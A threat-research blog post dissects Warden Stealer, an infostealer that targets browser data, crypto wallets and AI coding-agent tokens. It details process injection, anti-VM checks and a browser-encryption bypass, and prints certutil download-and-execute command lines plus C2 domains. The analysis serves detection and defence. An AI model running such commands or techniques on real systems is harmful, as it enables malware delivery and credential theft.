Research

Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data

From Attribution to a Technical Breakdown of a Rust Infostealer

Published

Read time

33 Minutes

Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data

Written by

Threat Researcher at Gen

Threat Research Team Lead

Published

Read time

33 Minutes

Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data

    Related article

    Your IP, Their Traffic

    Share this article

    Key Points

    • Gen Threat Labs has been tracking Warden Stealer, an emerging and actively developed malware-as-a-service (MaaS) infostealer written in the Rust programming language that has, within just a few months, already become one of the most prevalent infostealers in our user base.

    • Unlike most of its competitors, Warden Stealer is not sold as a pure stealer but comes with its own loader and a built-in cryptocurrency clipper.

    • Warden Stealer is one of the first infostealers targeting configuration files and local data belonging to AI assistants and agentic coding tools.

    • Its builds are heavily obfuscated, morphed, and regularly updated to evade detection.

    • In this technical blog post, we focus on the attribution of the stealer and provide a technical breakdown of its capabilities, including an analysis of its Application-Bound Encryption (ABE) bypass.

    Introduction & Attribution

    Warden Stealer is a rapidly growing and actively developed infostealer-as-a-service, promoted on underground forums since August 2026. The stealer is written in the Rust programming language and targets Windows systems from Windows 8 through Windows 11 (Figure 1 below also lists Windows 7 as supported, but support for it was dropped as of Warden Stealer version 1.9).

    According to its advertisement, Warden Stealer is supposedly capable of stealing data from all Chromium- and Gecko-based browsers, more than 200 cryptocurrency wallet extensions, and over 360 other targets across 13 categories, including messengers, password managers, 2FA tools, and VPN clients, with the ability to further expand its collection scope through custom file and registry grabbing rules. That said, the actual scope of collected data always depends on the configuration of the specific build, which, based on our analysis, can vary significantly from one operator to another.

    Figure 1: Warden Stealer advertised on an underground forum (translated from Russian).

    Figure 1: Warden Stealer advertised on an underground forum (translated from Russian).

    What is particularly worth highlighting, however, is that Warden Stealer is one of the first infostealers we have observed stealing configuration files and local data belonging to AI assistants and agentic coding tools, such as Claude, Codex, Grok, and Cursor. This reflects an emerging trend we have been observing across the infostealer landscape recently, and one that comes as no surprise, given how much sensitive information these files may hold. Depending on the agent and its configuration, they may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, and traces of the projects a developer has been working on, giving an attacker both the means to access an account and the context needed to understand what valuable data is behind it.

    Interestingly, stealing AI agent data was not among the capabilities originally listed in Warden Stealer’s advertisement, nor was it part of every build’s dynamic configuration, which led us to believe that it was the result of custom collection rules defined by specific operators. This, however, changed with Warden Stealer version 1.9 (announced on September 29, 2026), in which the malware authors officially announced the collection of tokens from AI coding agents (see Figure 2). Either way, whether through custom rules or built-in support, AI agent data is now targeted in a substantial subset of Warden Stealer builds, highlighting the growing trend of such data quickly becoming a target of interest for infostealers.

    Figure 2: Warden Stealer v1.9 update announcement highlighting the collection of AI coding agent tokens (translated from Russian).

    Figure 2: Warden Stealer v1.9 update announcement highlighting the collection of AI coding agent tokens (translated from Russian).

    We have already covered this topic in our previous blog post, Infostealers Have Found a New Target: Your AI Agent. There, however, we referred to Warden Stealer as CallbackBeaver, since at that time we had not yet been able to attribute it to Warden Stealer and had therefore given it our own name.

    Attribution is always a tricky task, and this case was no exception, as the stealer does not contain any string artifacts that would directly link it to the Warden Stealer brand. What pointed us in the right direction, however, was our in-depth analysis of the stealer, which we cross-referenced with the technical details of the malware shared on underground forums by the authors themselves, as well as with information from a recent interview with Warden Stealer’s authors conducted by g0njxa. Putting all of the pieces together, we were ultimately able to conclude that CallbackBeaver is, in fact, Warden Stealer. To give readers a better idea of what our attribution is based on, we outline the key pieces of evidence below.

    First, the stealer is written in Rust, which is rather unusual, as only a handful of infostealers opt for this programming language. This is consistent with the interview, in which the malware authors attribute the choice of Rust to their prior experience with it, as well as to the “very good opportunities for code morphing” it provides. Morphing, in turn, is exactly where, we have to admit, Warden Stealer undoubtedly stands out from what is usual in the MaaS ecosystem. Unsurprisingly, it is also one of the main selling points the authors build their marketing around, advertising Warden Stealer as the “only true morpher on the market (not just an obfuscator), built upon AST code parsing and LLVM IR passes.”

    Based on our analysis, the individual builds are indeed heavily obfuscated and morphed. Combined with the fact that Rust binaries are notoriously hard to reverse engineer, this makes Warden Stealer genuinely tricky to detect statically, but of course not impossible, as Warden authors kindly started to note in their underground forum posts (see Figures 3 and 4).

    Figure 3: Warden Stealer v1.7 update announcement (translated from Russian).

    Figure 3: Warden Stealer v1.7 update announcement (translated from Russian).

    Figure 4: Warden Stealer v1.8 update announcement (translated from Russian).

    Figure 4: Warden Stealer v1.8 update announcement (translated from Russian).

    Second, the malware authors state in the interview that development of the stealer began in early 2026 and that the project was made available to the public on July 21, 2026. This aligns well with our own observations, as we have been tracking the first builds (for example, 241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437) since the beginning of May 2026, with a significant increase in prevalence starting in early August 2026. Although the authors may not necessarily be telling the truth, the timeline once again fits their claims.

    Closely related to the timeline is the spread of the stealer itself, as Warden Stealer has, in a matter of months, already become one of the most prevalent infostealers in our user base, which, again, is consistent with the authors’ claim that about 110 customers are currently actively using it.

    Besides its stealing capabilities, Warden Stealer comes with its own loader and a built-in cryptocurrency clipper, which is not that common for MaaS infostealers and might be one of the key factors behind its rapid growth in popularity. Therefore, the very fact that the samples we analyzed were generally distributed via the stealer’s own dedicated loader and came with built-in clipper functionality was another strong indicator.

    As for the clipper functionality, Warden Stealer originally supported six cryptocurrency networks (see Figure 5), namely BTC (Bitcoin), ETH (Ethereum), TRX (TRON), XMR (Monero), SOL (Solana), and TON (The Open Network), which exactly matches (notably, even in the same order) the dynamic configuration we extracted from an older Warden Stealer build (see Figure 6). Starting with version 1.7, the malware authors extended the clipper to support four more networks: LTC (Litecoin), XRP (XRP Ledger), ADA (Cardano), and BCH (Bitcoin Cash). We observed this change almost immediately in the dynamic configurations of newer builds as well, which now contain exactly these four networks appended right after the original six (see Figure 7), making the clipper yet another strong indicator supporting our attribution.

    Figure 5: Warden Stealer’s built-in crypto clipper as initially advertised and after the v1.7 update (translated from Russian).

    Figure 5: Warden Stealer’s built-in crypto clipper as initially advertised and after the v1.7 update (translated from Russian).

    Figure 6: Clipper configuration extracted from an older Warden Stealer build, containing six cryptocurrency networks (the Monero address is left empty in this particular build).

    Figure 6: Clipper configuration extracted from an older Warden Stealer build, containing six cryptocurrency networks (the Monero address is left empty in this particular build).

    Figure 7: Clipper configuration extracted from a newer Warden Stealer build, extended with LTC, XRP, ADA, and BCH.

    Figure 7: Clipper configuration extracted from a newer Warden Stealer build, extended with LTC, XRP, ADA, and BCH.

    While there are several other attribution factors, mainly related to the capabilities claimed by the authors and what the stealer actually does, as well as to the obfuscation techniques it employs, we will not cover them in detail, as we believe the evidence outlined above already speaks for itself.

    Warden Stealer is offered through a tiered subscription model, with the individual plans differing primarily in operational limits, such as the number of builds and C2 domains. Initially, the malware authors offered the Test plan for $90 per week, and the Personal and Premium plans for $349 and $499 per month, respectively. With version 1.9, however, they raised their prices considerably: the Test plan now costs $149 for three days, while the Personal plan has risen to $450 and the Premium plan to $800 per month. At the same time, they introduced a new Enterprise plan, priced at $1,500 per month.

    Finally, given that Warden Stealer deliberately avoids systems located in CIS and Baltic countries and is advertised in Russian, it is reasonable to assume that its developers likely operate within Russian-speaking cybercriminal communities. However, this does not necessarily indicate their precise origin.

    Figure 8: Warden Stealer's web panel overview.

    Figure 8: Warden Stealer's web panel overview.

    Figure 9: Warden Stealer's log manager.

    Figure 9: Warden Stealer's log manager.

    Landscape

    Despite having been on the market for only a short period of time, Warden Stealer has already positioned itself as a major player in the infostealer landscape and is currently one of the most prevalent infostealers in our user base (together with Vidar, Amatera, and Remus).

    Regarding its distribution, since Warden Stealer is sold as MaaS, the infection vectors ultimately depend on the individual operators. As a result, we are seeing it delivered through all the standard infection vectors, including, among others, supposedly cracked software, game cheats, malvertising, and ClickFix campaigns.

    Given its active development, the built-in loader and clipper, the authors’ ongoing efforts to modify their builds to evade detection, and their use of AI (as they claimed in the interview), we expect Warden Stealer to remain a key player in the infostealer market for the foreseeable future.

    Technical Analysis

    In this section, we focus on selected technical aspects of Warden Stealer. Note that this is only a selected subset of its functionality rather than an exhaustive overview.

    Warden Loader

    When it comes to the Malware-as-a-Service (MaaS) infostealer ecosystem, the operational boundaries are usually strictly drawn: the malware authors develop the core payload (the stealer), while operators are left to handle the rest of the infection chain, including defense-evasion layers (crypters and/or loaders) and payload delivery. Against this conventional backdrop, Warden Stealer stands out as a notable exception, as it comes with its own dedicated loader, which takes some of the burden off operators and may thus partly account for the stealer’s rapid rise in popularity.

    Judging from our code analysis, we assess with high confidence that the loader is not a third-party add-on but a component developed and maintained in-house by the Warden Stealer authors themselves. We base this assessment on the fact that the loader shares the same obfuscation scheme and a non-trivial number of other similarities with the stealer (some of which we highlight throughout the rest of this blog post), firmly linking both components to the same malware authors. That said, the loader layer is not strictly required, as the stealer can also be shipped as a standalone binary. Still, we predominantly observe Warden Stealer being distributed inside this loader.

    Functionally, the loader is rather straightforward, operating with one clear goal – to reconstruct the stealer payload in memory and execute it. Overall, Warden Stealer can be deployed in one of three available execution modes:

    • Injection mode: the loader is shipped as an EXE that reconstructs the stealer payload (DLL) and injects it into an already-running, legitimate-looking process. This is the most common mode and likely the default configuration.

    • Sideload mode: the loader is shipped as a DLL alongside a legitimately signed EXE that sideloads it. Once sideloaded, the loader reconstructs the stealer payload (DLL) and executes it in memory within the host process.

    • Standalone mode: the stealer is shipped without the loader layer altogether, as a standalone EXE.

    Since the vast majority of samples we observe in the wild use the injection mode, we focus solely on this specific mode going forward.

    The stealer payload is embedded in the loader’s .rdata section and encoded using a custom Base64-like alphabet unique to each build. Interestingly, these alphabets differ across builds not only in character order but also in the character set itself (i.e., they are not mere permutations of a single character set). Nevertheless, each alphabet consists solely of printable ASCII characters and is shared by the loader and the stealer build it carries, both of which use it to decode their obfuscated blobs, including obfuscated strings.

    Examples of Base64-like alphabets observed across different Warden Stealer builds:

    • <y.#'0_Oe;5~q4I[a9Tf3:8pvR{F$ZQg)!(-XtCYznuPU?Jiw&BK@6}*|1D,2>7A

    • WJOTHk*aGS.#bdwLArzDM69yUR(NXZj<8?n{F!'e$C3~,|1B;)c04p]xQs_:o%&q

    • Da7L(>CZ4tB2bkT|u}%jRl5O^n]cIvoM-q;W)w<.&rdVP*gHzp_@Nh$1eYU'[~GK

    Figure 10: The initial bytes of a Warden Stealer payload blob encoded using a custom Base64-like alphabet.

    Figure 10: The initial bytes of a Warden Stealer payload blob encoded using a custom Base64-like alphabet.

    The deobfuscation process itself consists of two steps. Each encoded blob, whether an obfuscated string or the stealer payload, is first decoded using the custom Base64-like scheme. The loader maps each character to its index in the 64-character alphabet, subtracts a blob-specific shift modulo 64, and combines the resulting 6-bit values into bytes as in ordinary Base64. The decoded stream is then decompressed using a custom LZSS-style format.

    Regarding the payload reconstruction, the loader processes three separately decoded blobs: the main blob containing the PE section data, an auxiliary blob providing the PE header template, and a bootstrap stub template. The first two blobs are combined to reconstruct the stealer’s PE image in memory, while the bootstrap stub template is filled with runtime values and appended after the rebuilt image and a runtime-built context block.

    Next, the loader selects the target process for injection. The latest builds do so by locating the Shell_TrayWnd window (the Windows taskbar) using FindWindowA and retrieving the PID of its owning process via GetWindowThreadProcessId. In a standard Windows session, this window typically belongs to explorer.exe, although the loader does not verify the process name. Older builds also targeted other processes, such as msiexec.exe or dllhost.exe.

    After obtaining a handle to the target process, the loader allocates executable memory within it using VirtualAllocEx with the PAGE_EXECUTE_READWRITE protection flag. Once the remote base address is known, it applies the necessary relocations and injects the reconstructed image, context block, and bootstrap stub into the allocated region as a single contiguous buffer via WriteProcessMemory. Subsequently, the loader invokes CreateRemoteThread to start execution at the appended bootstrap stub.

    Since the payload is manually mapped, the standard Windows loader does not register it as a loaded module. To fill this gap, the bootstrap stub first retrieves the PEB via RtlGetCurrentPeb and links two LIST_ENTRY nodes from the context block into PEB->Ldr->InLoadOrderModuleList and PEB->Ldr->InMemoryOrderModuleList, making the payload visible to code that enumerates these lists. Finally, the bootstrap stub invokes non-null function pointers from a fixed range in the payload image, including its TLS callbacks, and transfers control to the payload by calling its PE entry point.

    Figure 11: Warden Stealer payload reconstruction and injection flow.

    Figure 11: Warden Stealer payload reconstruction and injection flow.

    It is also worth noting that the Warden Stealer loader binaries are often deliberately inflated with a massive PE overlay, a design choice intended to bypass detection (also employed, for example, by GoFlateLoader), as excessively large executables may pose challenges for some AV and EDR solutions, which, primarily due to performance and resource constraints, often enforce practical file-size limits for deep scanning and/or emulation.

    The same logic extends to automated analysis pipelines, where bloated files frequently cause timeouts during heuristic analysis and may even prevent the sample from being uploaded to cloud-based sandboxes or threat intelligence platforms, which enforce their own strict upload limits to manage bandwidth and storage costs.

    Obfuscation

    When it comes to static analysis, Warden Stealer builds are protected with several layers of obfuscation. However, since the obfuscation is subject to frequent changes, both to evade detection and to break automated analysis tooling, we do not aim to provide an exhaustive technical breakdown, but rather to give readers a general overview of the techniques used. Note that all techniques covered below apply to both the loader and the stealer.

    First, as already mentioned in the loader section, Warden Stealer obfuscates its strings using a custom LZSS-style compression combined with a build-specific Base64-like alphabet and a string-specific shift parameter, with each string being decoded lazily upon its first use and then cached for any subsequent references.

    Second, Windows API functions are resolved dynamically by name (using a combination of LoadLibraryA and GetProcAddress) and cached after the first lookup, with both the module and function names stored as obfuscated strings and decoded on demand.

    Figure 12: Example of Warden Stealer’s string decoding, followed by cached API resolution.

    Figure 12: Example of Warden Stealer’s string decoding, followed by cached API resolution.

    Warden Stealer also employs indirect control flow obfuscation, replacing direct jumps and calls with indirect ones, whose target addresses are computed only at runtime and passed via a register. Notably, the extent to which this obfuscation is applied has decreased considerably over time. While older builds obfuscated most of their jumps and calls, with even individual basic blocks chained together through indirect jumps (see Figure 13), the newest builds leave only a few of them obfuscated. Readers interested in how to remove this type of obfuscation can refer to our previous blog post, where we covered it in greater detail.

    Figure 13: Example of indirect control flow obfuscation in an older Warden Stealer build (with jump targets already deobfuscated).

    Figure 13: Example of indirect control flow obfuscation in an older Warden Stealer build (with jump targets already deobfuscated).

    Earlier versions of Warden Stealer additionally leveraged TLS callbacks (which, incidentally, is also where the name CallbackBeaver we originally gave to Warden Stealer comes from) to populate thread-local storage and global variables with constants. These constants were later used in obfuscated computations to recover data offsets and string decoding parameters, as well as in the conditions used to select indirect jump targets.

    Figure 14: Example of a TLS callback populating thread-local storage with constants in an earlier Warden Stealer build.

    Figure 14: Example of a TLS callback populating thread-local storage with constants in an earlier Warden Stealer build.

    Finally, Warden Stealer also makes use of constant masking, decoy strings, mixed Boolean-arithmetic (MBA) expressions, opaque-predicate-style guards leading to bogus code branches, and junk computations whose results are simply discarded, all of which further bloat the decompiled code and make its analysis more time-consuming.

    Figure 15: Example of constant masking in Warden Stealer, used to encode relative offsets that are later decoded to reconstruct indirect jump targets.

    Figure 15: Example of constant masking in Warden Stealer, used to encode relative offsets that are later decoded to reconstruct indirect jump targets.

    Anti-VM Checks

    To determine whether it is running in a virtualized environment, Warden Stealer performs multiple anti-VM checks.

    First, it retrieves the raw SMBIOS firmware table using GetSystemFirmwareTable and walks through its records, looking for at least one record of type 7 (Cache Information). If the table is retrieved successfully but contains no such record, the environment is considered virtualized.

    Figure 16: Warden Stealer checking the SMBIOS firmware table for type 7 (Cache Information) records.

    Figure 16: Warden Stealer checking the SMBIOS firmware table for type 7 (Cache Information) records.

    Second, the stealer uses the cpuid instruction to obtain the physical CPU vendor ID (leaf 0) and the hypervisor vendor ID (leaf 0x40000000). If the hypervisor additionally reports support for leaves beyond 0x400000FF, a secondary hypervisor vendor ID is retrieved from leaf 0x40000100 as well. The physical CPU vendor ID, the hypervisor vendor ID (if nonzero), and the secondary hypervisor vendor ID (if available) are then all compared against a blacklist of 27 exact 12-byte signatures, covering a broad range of hypervisors and emulators, including VMware, VirtualBox, KVM, Xen, or QEMU running in TCG mode. If no exact match is found, the IDs are further searched for four shorter markers (KVM, PpyH, Apple VZ, and QXNQSBMV).

    Figure 17: Warden Stealer's Anti-VM checks using the cpuid instruction.

    Figure 17: Warden Stealer's Anti-VM checks using the cpuid instruction.

    Figure 18: Warden Stealer reconstructing blacklisted CPU vendor IDs.

    Figure 18: Warden Stealer reconstructing blacklisted CPU vendor IDs.

    Figure 19: Exhaustive list of all Warden Stealer’s blacklisted vendor IDs.

    Figure 19: Exhaustive list of all Warden Stealer’s blacklisted vendor IDs.

    Third, Warden Stealer enumerates the entries under the following Uninstall registry paths:

    • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

    • HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall

    • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

    • HKCU\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall

    It then filters out entries marked as system components (with the SystemComponent REG_DWORD set to 1) and entries whose UninstallString value cannot be retrieved. For the remaining ones, it collects the DisplayName values and checks whether any of these begins with the prefix Virtio, which may indicate VirtIO-related software, commonly associated with KVM/QEMU virtual machines.

    Finally, the stealer enumerates display devices using EnumDisplayDevicesW and checks whether any of the adapter descriptions contains one of the substrings Virtio, Standard VGA, or Basic Display, which typically correspond to the generic display adapters used in virtual machines without dedicated graphics drivers.

    If the environment is considered virtualized, Warden Stealer displays a message box titled DEBUG with the Russian message: Моня, и шо разве мы виноваты, что вокруг Одессы Украину построили?! (roughly translating to “Monya, is it really our fault that they built Ukraine around Odessa?!”) and aborts the reporting worker before it proceeds with its subsequent data collection and reporting.

    Figure 20: Dialog box displayed if Warden Stealer identifies that it is running inside a virtualized environment.

    Figure 20: Dialog box displayed if Warden Stealer identifies that it is running inside a virtualized environment.

    Application-Bound Encryption Bypass

    A key part of Warden Stealer’s functionality is the theft of sensitive browser data, such as cookies and passwords, from Chromium-based browsers. Nowadays, however, such data is protected by Application-Bound Encryption (ABE). To bypass ABE, the stealer employs an approach that we have not previously observed in this exact form but that closely resembles a combination of the bypasses used by the latest versions of Vidar and Remus. Nevertheless, its implementation differs in several aspects, suggesting independent development rather than a direct copy.

    Since we have already covered the bypasses of Vidar and Remus, as well as the inner workings of ABE, in our earlier posts, we do not revisit them here and instead outline the main ideas behind Warden Stealer’s own implementation. For readers interested in the broader background, we encourage checking those earlier posts.

    From a high-level perspective, Warden Stealer’s approach to bypassing ABE boils down to three steps:

    • Locate a candidate v20_master_key in its encrypted form within the browser’s memory

    • Execute injected shellcode inside the browser process to decrypt the key

    • Read the decrypted key back

    Before any decryption can take place, however, Warden Stealer first needs to locate the v20_master_key in its encrypted form. Here, its approach closely resembles that of Vidar, as it also scans the browser’s memory for a layout consistent with entries in Chromium’s os_crypt_async::Encryptor::KeyRing, a map that holds the keys used by the Encryptor class, including the encrypted v20_master_key. That said, its scanning pattern is considerably simpler. Whereas Vidar matches a 32-byte signature that also covers fixed values of specific fields within a KeyRing entry, Warden Stealer searches the browser’s memory solely for the four-byte sequence v20\x00 – the null-terminated v20 tag under which the v20_master_key is stored in the KeyRing map.

    Naturally, such a short pattern yields more candidates, so Warden Stealer narrows them down by checking whether the values at specific offsets from each match are consistent with the expected layout of a KeyRing entry. Now, this part is admittedly a bit tricky, as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types (std::map, std::string, std::vector, and std::optional). Therefore, please treat the following interpretation as a high-confidence assessment rather than a certainty. That said, judging from our analysis, we strongly believe that these checks follow from the memory layout of a KeyRing entry.

    Chromium defines KeyRing as std::map</*tag=*/std::string, std::optional<Key>>, so each of its entries is a std::pair<const std::string, std::optional<Key>> stored in a node of the red-black tree that implements the map. Within this pair, the std::string tag is followed by the std::optional<Key> value, whose Key object holds the encrypted v20_master_key in its key_ member variable (a std::vector<uint8_t>).

    Specifically, Warden Stealer inspects three consecutive qwords at offsets +32, +40, and +48 from each v20\x00 match, which, under libc++’s default pointer-based representation of std::vector, should correspond to the begin, end, and capacity_end pointers of the key_ vector, as illustrated in Figure 21 (and previously dissected in greater detail in our analysis of Vidar’s ABE bypass). This leads us to conclude that the stealer leverages the key_ vector as a verification mechanism: only if the data at these offsets plausibly resembles a std::vector structure does the stealer treat the match as a candidate KeyRing node. In practice, the verification is rather heuristic and boils down to the following sanity checks of the three pointers:

    • The begin pointer must be 8-byte aligned and lie within the user-mode address range (0x10000–0x7FFFFFFFFFFF)

    • The end pointer must equal begin + 32, indicating a 32-byte buffer (i.e., the size of the v20_master_key)

    • The capacity-end pointer must also be 8-byte aligned, lie within the user-mode address range, and fall between end and begin + 64, limiting the vector’s capacity to between 32 and 64 bytes

    Figure 21: An annotated browser memory dump of a single KeyRing map node (pointer-based std::vector layout).

    Figure 21: An annotated browser memory dump of a single KeyRing map node (pointer-based std::vector layout).

    However, libc++ also supports an alternative size-based layout of std::vector, in which the begin pointer is followed by integer size and capacity fields instead of two additional pointers. Notably, Warden Stealer’s filtering logic appears to account for this variant as well: if the begin pointer passes the alignment check but the second qword does not equal begin + 32, the stealer falls back to checking whether the qword itself equals 32. It then requires the third qword to have no bits set other than 0x20, effectively accepting only 0 or 32. A begin pointer followed by two values of 32 thus describes the same key_ vector (a 32-byte buffer with a capacity of 32 bytes) but in its size-based representation. The complete filtering logic is shown in Figure 23.

    Figure 22: Visualization of pointer-based and size-based layout of std::vector.

    Figure 22: Visualization of pointer-based and size-based layout of std::vector.

    Figure 23: Warden Stealer filtering the v20\x00 matches based on the expected layout of a KeyRing entry.

    Figure 23: Warden Stealer filtering the v20\x00 matches based on the expected layout of a KeyRing entry.

    The collected candidates (the begin pointers of the identified key_ vectors, each presumably pointing to an encrypted v20_master_key) are then sorted, deduplicated, and tested one by one. For each candidate, Warden Stealer reads the 32 bytes it points to and stages them in the target browser process alongside a short shellcode stub. To run the stub, it hijacks one of the browser’s existing threads by suspending it, saving its original context, and redirecting its instruction pointer to the shellcode. Once resumed, the shellcode stub invokes CryptUnprotectMemory on the staged buffer with the CRYPTPROTECTMEMORY_SAME_PROCESS flag (similar to Remus, which likewise injects a small shellcode into the browser to perform exactly this call). Because the decryption happens in place, Warden Stealer simply polls the buffer and compares it against the original encrypted bytes. If the contents differ, it treats the result as a recovered v20_master_key.

    Figure 24: Warden Stealer building and injecting the shellcode responsible for decrypting the v20_master_key.

    Figure 24: Warden Stealer building and injecting the shellcode responsible for decrypting the v20_master_key.

    C2 Communication

    Each Warden Stealer build comes with its own hardcoded set of C2 domains embedded directly in the binary. An individual build typically contains between one to five domains, with any additional ones serving as fallback endpoints in case a server becomes unavailable.

    These domains are protected by a dedicated obfuscation scheme, separate from the general-purpose string decoder, with each entry stored as a one-byte XOR key, a pointer to the encoded domain, and the encoded domain’s byte length. Notably, these three fields can appear in any order, likely as a result of the malware’s morphing.

    Figure 25: Example of Warden Stealer’s embedded C2 entries, each consisting of a one-byte XOR key, a pointer to the encoded domain, and the domain’s length.

    Figure 25: Example of Warden Stealer’s embedded C2 entries, each consisting of a one-byte XOR key, a pointer to the encoded domain, and the domain’s length.

    The actual communication with the C2 server is handled over HTTPS and relies on a custom binary format. Before being sent, each record is serialized, XOR-obfuscated with a build-specific byte, and prefixed with a frame tag. The resulting frame is then compressed using LZNT1 and wrapped with a header containing its uncompressed length, a 16-byte build marker, and optional metadata.

    Figure 26: Structure of Warden Stealer’s outgoing C2 requests.

    Figure 26: Structure of Warden Stealer’s outgoing C2 requests.

    Using this format, Warden Stealer first sends a registration request carrying a fingerprint of the infected system that includes the machine’s hardware identifier, CPU and memory details, OS version, display configuration, username, locales, and installed software. In response, the server returns the stealer’s dynamic configuration, which is XOR-obfuscated with the same build-specific byte as the outgoing records but, unlike them, is not LZNT1-compressed. If the exchange fails or the response contains no valid configuration, Warden Stealer falls back to the next C2 domain in the list. Once a valid configuration is obtained, Warden Stealer collects data according to the configured feature flags and collection rules and uploads the stolen data to the C2 server in batches.

    An example of Warden Stealer’s dynamic configuration is available on our GitHub.

    Execution of Additional Payloads

    In addition to its stealing capabilities, Warden Stealer can download and execute additional payloads from URLs supplied in its dynamic configuration. For each URL, it constructs a destination path under %TEMP% and downloads the file there using the certutil.exe -urlcache -split -f "<URL>" "<destination>" command. The destination filename is derived from the GetTickCount value, formatted as eight zero-padded lowercase hexadecimal digits, followed directly by the URL’s zero-based position in the configuration list. The extension is selected by checking the URL text preceding any query string or fragment for .msi, .bat, or .cmd, with .exe used otherwise. Based on the selected extension, the payload is launched in one of the following ways:

    • MSI: msiexec.exe /i "<destination>" /qn /norestart

    • BAT/CMD: cmd.exe /c "<destination>"

    • EXE (default): the downloaded file is executed directly

    To carry out both the download and the execution steps, Warden Stealer leverages the Shell.Application COM object (rather than calling CreateProcess directly). Through its IShellDispatch2 interface, it invokes the ShellExecute method to launch cmd.exe with a hidden window (SW_HIDE). The arguments passed to cmd.exe combine the certutil download command with the appropriate payload invocation, chained with &&, so the payload is launched only if the download succeeds (or more precisely, if certutil returns a successful exit code).

    The following examples illustrate the resulting command lines, assuming %TEMP% is C:\Users\user\AppData\Local\Temp, GetTickCount returns 0x1337 for each item, and the URLs appear in the configuration in MSI, BAT, and EXE order:

    • MSI: cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.msi" "C:\Users\user\AppData\Local\Temp\000013370.msi" && msiexec.exe /i "C:\Users\user\AppData\Local\Temp\000013370.msi" /qn /norestart

    • BAT: cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.bat" "C:\Users\user\AppData\Local\Temp\000013371.bat" && cmd.exe /c "C:\Users\user\AppData\Local\Temp\000013371.bat"

    • EXE: cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.exe" "C:\Users\user\AppData\Local\Temp\000013372.exe" && "C:\Users\user\AppData\Local\Temp\000013372.exe"

    Summary

    Warden Stealer has rapidly emerged as one of the most prevalent infostealers we protect our users from, ranking on par with Amatera, Remus and Vidar. Written in Rust, it combines broad data-stealing capabilities with a dedicated custom loader and a built-in cryptocurrency clipper. It is actively developed and has been promoted on underground forums since August 2026, although we have been tracking its first builds since early May 2026.

    In this blog post, we showed how our investigation linked the malware we previously tracked as CallbackBeaver to Warden Stealer. This attribution draws on similarities between the analyzed samples and the authors’ public statements in underground forum posts and an interview, including details about the development timeline and loader and clipper capabilities.

    We also described a variety of the stealer’s obfuscation techniques and anti-VM checks, as well as its approach to bypassing Application-Bound Encryption to steal sensitive information from Chromium-based browsers. Notably, Warden Stealer is one of the first stealers actively targeting locally installed AI agents to exfiltrate access and refresh tokens, prompt histories, credentials stored in MCP configurations, and other sensitive developer-related information, highlighting the shift we have recently observed in the infostealer landscape.

    Indicators of Compromise (IoCs)

    A complete, much more extensive, IoC list is available on our GitHub.

    Warden Loader SHA-256 (Non-exhaustive)

    006510ce1da2b7410376f0788c19e55616eb4bcc30072d25b7d0871dc32aa11c 0d727a4ef1178e767afdd0080ba1ebda0f24ac52b639f0501021affd8f88d26a 63959ef6309cd01b5d3c7262a3a41394dca2db2dc74bd030a517b7e23a2c3fef 77c8266935bc040c992ab70abd402bd203b9c12e7548c80b84fd21308c250f0e 77cc246272f2af21b64bbc6c6173d57affee97eb0ccf747d89492d06d4c52865 abcc49cd8a9b08a18ad9e516ec13350e01a05f04f1c5e025080e1c0e3b4bec36 b855f6883391e25f1a91692bef76771065b4b0436a014de5b25aa9d0de6238e4 dd1c3b2bfe32b41902ffe875e568f52f44f0900209b9cb447c9ae4444a5dce4e ea9debbe4b3d11bf6c986af63a94e13ceb2a1cbc167a642697fcabc9e8a50439 ff85bb43e546fac541443006878828c47958c1d55dfa32c529651bfcc12832f1

    Warden Stealer SHA-256 (Non-exhaustive)

    04beeb716a79661ea770138558dbdebccb493bf6b4b1ec37f19b9c028dea98d5 159b472e0e0bdc05933da64032761cbd042b6cc5dc4e1cd11d5ef7af5180b972 3d0794fca8ae2ca80eee463b11557d696c48c8ddf17f5e2917cc33fbf0596842 51bc797e783b6a765e174736ff12a711a243099f4e19739388e5bce1548a448d 5b6ec081f385d91273a79c6645cd0f932539dc267863e5d243657a8ccb5ca351 6e47d6da0e2ab2226ee033e75c7b9b41e4e908d6f71b47d0ce7477a492fb418e a396ccfb5547f04cef4be18ed076bb2c62c571268306d201b6177188f05723f1 cc1f2ae885d317e6c520ea6d219370630c1c7a8fe600b89d0d78fdee28174ff4 e62b24142e7244573cf37cef55b175fbba6a43ac4592d30f8b061dda8866c9b3 fea9538084b70e9681fd8104b9319792c4d8c2701ae145ec31dc26e7526f2ae0

    Extracted Warden Stealer C2 Domains (Non-exhaustive) 

    backtoblack7[.]com 
    berff3788[.]com 
    bobroviysmex[.]shop 
    bomboclat[.]rest 
    brodyagup[.]com 
    culture-shock[.]club 
    diseazhjw[.]cloud 
    dojaekrt[.]cc 
    dojaekrt[.]forum 
    dojaekrt[.]trade 
    erifytrtr1[.]vip 
    ggresp[.]com 
    hotelcalifornia[.]club 
    hroffice[.]work 
    incoming[.]rent 
    jgkawdq[.]cloud 
    kaiangelsystems[.]rest 
    kaifdlyaw[.]com 
    kaliop-weda[.]club 
    konradkerz40000[.]work 
    library2000[.]com 
    luqiuid91[.]com 
    macfilecloud8[.]com 
    matie-bal[.]club 
    modicontools[.]com 
    nextlanding[.]net 
    nweenwew234[.]cc 
    patduggan[.]com 
    pianolovers[.]club 
    piska-sosidka-govno[.]asia 
    plainhorizon[.]org 
    publisher99[.]com 
    rabbids-sixseven[.]cc 
    recap-check[.]org 
    rocks56[.]com 
    rrrrrrrfffff[.]club 
    russianaltushkawantdickinside[.]club 
    sfgiantslive[.]com 
    skibidiclipper[.]pw 
    skibidiproliv[.]com 
    skibidistealer[.]team 
    systemformating[.]rest 
    verifytrtr[.]vip 
    vlad-nazarenko2004[.]club 
    web03-azureupdate[.]com 
    webex-028ue2[.]com 
    wosback[.]cc 
    zalupka[.]website 
